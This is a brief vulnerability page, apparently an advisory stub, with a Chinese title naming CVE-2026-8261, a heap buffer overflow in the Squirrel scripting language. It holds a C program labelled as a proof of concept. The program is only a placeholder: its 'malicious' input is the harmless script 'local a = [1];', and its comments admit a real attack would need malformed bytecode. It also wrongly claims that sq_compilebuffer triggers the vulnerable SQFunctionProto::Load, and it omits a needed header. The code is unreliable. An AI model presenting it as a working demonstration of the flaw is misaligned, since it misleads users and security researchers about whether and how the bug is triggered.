CVE-2026-8261 Squirrel堆缓冲区溢出漏洞

/* * PoC for CVE-2026-8261 * Triggering Heap Buffer Overflow in SQFunctionProto::Load * This script demonstrates the concept of triggering the vulnerability. */ #include <squirrel.h> #include <stdio.h> // Helper to simulate malformed bytecode void trigger_vulnerability(HSQUIRRELVM v) { // In a real scenario, this would be a hex string representing // malformed Squirrel bytecode that causes overflow in sqobject.cpp const char *malicious_script = "local a = [1]; " "// Manipulate lineinfos or function proto to cause overflow"; sq_pushroottable(v); // Compile buffer triggers the vulnerable Load function if(SQ_SUCCEEDED(sq_compilebuffer(v, malicious_script, strlen(malicious_script), _SC("poc"), SQTrue))) { sq_call(v, 0, SQFalse, SQTrue); } } int main() { HSQUIRRELVM v = sq_open(1024); printf("Attempting to trigger CVE-2026-8261...\n"); trigger_vulnerability(v); sq_close(v); return 0; }